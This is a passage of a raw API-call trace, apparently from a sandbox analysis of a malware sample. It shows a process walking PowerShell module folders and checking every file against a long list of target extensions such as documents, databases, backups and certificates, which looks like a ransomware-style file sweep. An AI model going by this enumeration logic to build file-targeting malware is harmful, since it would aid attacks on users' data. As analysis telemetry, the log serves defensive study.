	[0159.076] lstrcmpiW (lpString1=".mov", lpString2=".ps1") returned -1
	[0159.076] lstrlenW (lpString=".mp3") returned 4
	[0159.077] lstrcmpiW (lpString1=".mp3", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".mp4") returned 4
	[0159.077] lstrcmpiW (lpString1=".mp4", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".mpeg") returned 5
	[0159.077] lstrcmpiW (lpString1=".mpeg", lpString2="s.ps1") returned -1
	[0159.077] lstrlenW (lpString=".mpg") returned 4
	[0159.077] lstrcmpiW (lpString1=".mpg", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".mpv") returned 4
	[0159.077] lstrcmpiW (lpString1=".mpv", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".mrw") returned 4
	[0159.077] lstrcmpiW (lpString1=".mrw", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".msg") returned 4
	[0159.077] lstrcmpiW (lpString1=".msg", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".mxl") returned 4
	[0159.077] lstrcmpiW (lpString1=".mxl", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".myd") returned 4
	[0159.077] lstrcmpiW (lpString1=".myd", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".myi") returned 4
	[0159.077] lstrcmpiW (lpString1=".myi", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".nef") returned 4
	[0159.077] lstrcmpiW (lpString1=".nef", lpString2=".ps1") returned -1
	[0159.077] lstrlenW (lpString=".nrw") returned 4
	[0159.077] lstrcmpiW (lpString1=".nrw", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".obj") returned 4
	[0159.078] lstrcmpiW (lpString1=".obj", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".odb") returned 4
	[0159.078] lstrcmpiW (lpString1=".odb", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".odc") returned 4
	[0159.078] lstrcmpiW (lpString1=".odc", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".odm") returned 4
	[0159.078] lstrcmpiW (lpString1=".odm", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".odp") returned 4
	[0159.078] lstrcmpiW (lpString1=".odp", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".ods") returned 4
	[0159.078] lstrcmpiW (lpString1=".ods", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".oft") returned 4
	[0159.078] lstrcmpiW (lpString1=".oft", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".one") returned 4
	[0159.078] lstrcmpiW (lpString1=".one", lpString2=".ps1") returned -1
	[0159.078] lstrlenW (lpString=".onepkg") returned 7
	[0159.078] lstrcmpiW (lpString1=".onepkg", lpString2="sts.ps1") returned -1
	[0159.078] lstrlenW (lpString=".onetoc2") returned 8
	[0159.078] lstrcmpiW (lpString1=".onetoc2", lpString2="ests.ps1") returned -1
	[0159.078] lstrlenW (lpString=".opt") returned 4
	[0159.079] lstrcmpiW (lpString1=".opt", lpString2=".ps1") returned -1
	[0159.079] lstrlenW (lpString=".oqy") returned 4
	[0159.079] lstrcmpiW (lpString1=".oqy", lpString2=".ps1") returned -1
	[0159.079] lstrlenW (lpString=".orf") returned 4
	[0159.079] lstrcmpiW (lpString1=".orf", lpString2=".ps1") returned -1
	[0159.079] lstrlenW (lpString=".p12") returned 4
	[0159.079] lstrcmpiW (lpString1=".p12", lpString2=".ps1") returned -1
	[0159.079] lstrlenW (lpString=".p7b") returned 4
	[0159.079] lstrcmpiW (lpString1=".p7b", lpString2=".ps1") returned -1
	[0159.079] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0159.079] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0159.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0159.079] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0159.079] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0159.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0159.080] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0159.080] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0159.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0159.080] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0
	[0159.080] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0159.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0159.083] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0
	[0159.083] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0159.083] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0159.084] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0159.084] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0159.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0159.084] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0
	[0159.084] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0159.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0159.084] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0159.084] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0159.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0159.086] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1
	[0159.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0159.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0159.087] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.088] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1
	[0159.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0159.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0159.136] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.136] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0159.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0159.928] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en") returned 71
	[0159.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0159.930] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.930] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0159.930] lstrlenW (lpString="Microsoft.PackageManagement.ArchiverProviders.resources.dll") returned 59
	[0159.930] lstrlenW (lpString=".1cd") returned 4
	[0159.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0159.930] lstrlenW (lpString=".3ds") returned 4
	[0159.931] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0159.931] lstrlenW (lpString=".3fr") returned 4
	[0159.931] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0159.931] lstrlenW (lpString=".3g2") returned 4
	[0159.931] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0159.931] lstrlenW (lpString=".3gp") returned 4
	[0159.931] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0159.931] lstrlenW (lpString=".7z") returned 3
	[0159.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0159.931] lstrlenW (lpString=".accda") returned 6
	[0159.931] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0159.931] lstrlenW (lpString=".accdb") returned 6
	[0159.931] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0159.931] lstrlenW (lpString=".accdc") returned 6
	[0159.931] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0159.931] lstrlenW (lpString=".accde") returned 6
	[0159.931] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0159.931] lstrlenW (lpString=".accdt") returned 6
	[0159.931] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0159.931] lstrlenW (lpString=".accdw") returned 6
	[0159.931] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0159.931] lstrlenW (lpString=".adb") returned 4
	[0159.932] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".adp") returned 4
	[0159.932] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".ai") returned 3
	[0159.932] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0159.932] lstrlenW (lpString=".ai3") returned 4
	[0159.932] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".ai4") returned 4
	[0159.932] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".ai5") returned 4
	[0159.932] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".ai6") returned 4
	[0159.932] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".ai7") returned 4
	[0159.932] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".ai8") returned 4
	[0159.932] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".anim") returned 5
	[0159.932] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0159.932] lstrlenW (lpString=".arw") returned 4
	[0159.932] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".as") returned 3
	[0159.932] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0159.932] lstrlenW (lpString=".asa") returned 4
	[0159.932] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0159.932] lstrlenW (lpString=".asc") returned 4
	[0159.933] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0159.933] lstrlenW (lpString=".ascx") returned 5
	[0159.933] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0159.933] lstrlenW (lpString=".asm") returned 4
	[0159.933] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0159.933] lstrlenW (lpString=".asmx") returned 5
	[0159.933] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0159.933] lstrlenW (lpString=".asp") returned 4
	[0159.933] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0159.933] lstrlenW (lpString=".aspx") returned 5
	[0159.933] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0159.933] lstrlenW (lpString=".asr") returned 4
	[0159.933] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0159.933] lstrlenW (lpString=".asx") returned 4
	[0159.934] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0159.934] lstrlenW (lpString=".avi") returned 4
	[0159.934] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0159.934] lstrlenW (lpString=".avs") returned 4
	[0159.934] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0159.934] lstrlenW (lpString=".backup") returned 7
	[0159.934] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0159.934] lstrlenW (lpString=".bak") returned 4
	[0159.934] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0159.934] lstrlenW (lpString=".bay") returned 4
	[0159.934] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0159.935] lstrlenW (lpString=".bd") returned 3
	[0159.935] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0159.935] lstrlenW (lpString=".bin") returned 4
	[0159.936] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0159.936] lstrlenW (lpString=".bmp") returned 4
	[0159.936] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0159.936] lstrlenW (lpString=".bz2") returned 4
	[0159.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0159.936] lstrlenW (lpString=".c") returned 2
	[0159.936] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0159.936] lstrlenW (lpString=".cdr") returned 4
	[0159.974] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0159.974] lstrlenW (lpString=".cer") returned 4
	[0159.974] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0159.974] lstrlenW (lpString=".cf") returned 3
	[0159.974] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0159.974] lstrlenW (lpString=".cfc") returned 4
	[0159.974] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0159.975] lstrlenW (lpString=".cfm") returned 4
	[0159.975] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0159.975] lstrlenW (lpString=".cfml") returned 5
	[0159.975] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0159.975] lstrlenW (lpString=".cfu") returned 4
	[0159.975] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0159.975] lstrlenW (lpString=".chm") returned 4
	[0159.975] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0159.975] lstrlenW (lpString=".cin") returned 4
	[0159.975] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0159.975] lstrlenW (lpString=".class") returned 6
	[0159.976] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0159.976] lstrlenW (lpString=".clx") returned 4
	[0159.976] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0159.976] lstrlenW (lpString=".config") returned 7
	[0159.976] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0159.976] lstrlenW (lpString=".cpp") returned 4
	[0159.976] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0159.977] lstrlenW (lpString=".cr2") returned 4
	[0159.977] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0159.977] lstrlenW (lpString=".crt") returned 4
	[0159.977] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0159.977] lstrlenW (lpString=".crw") returned 4
	[0159.977] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0159.977] lstrlenW (lpString=".cs") returned 3
	[0159.977] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0159.977] lstrlenW (lpString=".css") returned 4
	[0159.977] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0159.977] lstrlenW (lpString=".csv") returned 4
	[0159.977] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0159.978] lstrlenW (lpString=".cub") returned 4
	[0159.978] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0159.978] lstrlenW (lpString=".dae") returned 4
	[0159.978] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0159.978] lstrlenW (lpString=".dat") returned 4
	[0159.978] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0159.978] lstrlenW (lpString=".db") returned 3
	[0159.978] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0159.978] lstrlenW (lpString=".dbf") returned 4
	[0159.979] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0159.979] lstrlenW (lpString=".dbx") returned 4
	[0159.979] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0159.979] lstrlenW (lpString=".dc3") returned 4
	[0159.979] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0159.979] lstrlenW (lpString=".dcm") returned 4
	[0159.979] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0159.979] lstrlenW (lpString=".dcr") returned 4
	[0159.979] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0159.980] lstrlenW (lpString=".der") returned 4
	[0159.980] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0159.980] lstrlenW (lpString=".dib") returned 4
	[0159.980] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0159.980] lstrlenW (lpString=".dic") returned 4
	[0159.980] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0159.980] lstrlenW (lpString=".dif") returned 4
	[0159.980] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0159.980] lstrlenW (lpString=".divx") returned 5
	[0159.980] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0159.980] lstrlenW (lpString=".djvu") returned 5
	[0159.981] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0159.981] lstrlenW (lpString=".dng") returned 4
	[0159.981] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0159.981] lstrlenW (lpString=".doc") returned 4
	[0159.981] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0159.981] lstrlenW (lpString=".docm") returned 5
	[0159.981] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0159.981] lstrlenW (lpString=".docx") returned 5
	[0159.981] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0159.981] lstrlenW (lpString=".dot") returned 4
	[0159.981] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0159.982] lstrlenW (lpString=".dotm") returned 5
	[0159.982] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0159.982] lstrlenW (lpString=".dotx") returned 5
	[0159.982] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0159.982] lstrlenW (lpString=".dpx") returned 4
	[0159.982] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0159.982] lstrlenW (lpString=".dqy") returned 4
	[0159.982] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0159.982] lstrlenW (lpString=".dsn") returned 4
	[0159.982] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0159.982] lstrlenW (lpString=".dt") returned 3
	[0159.983] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0159.983] lstrlenW (lpString=".dtd") returned 4
	[0159.983] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0159.983] lstrlenW (lpString=".dwg") returned 4
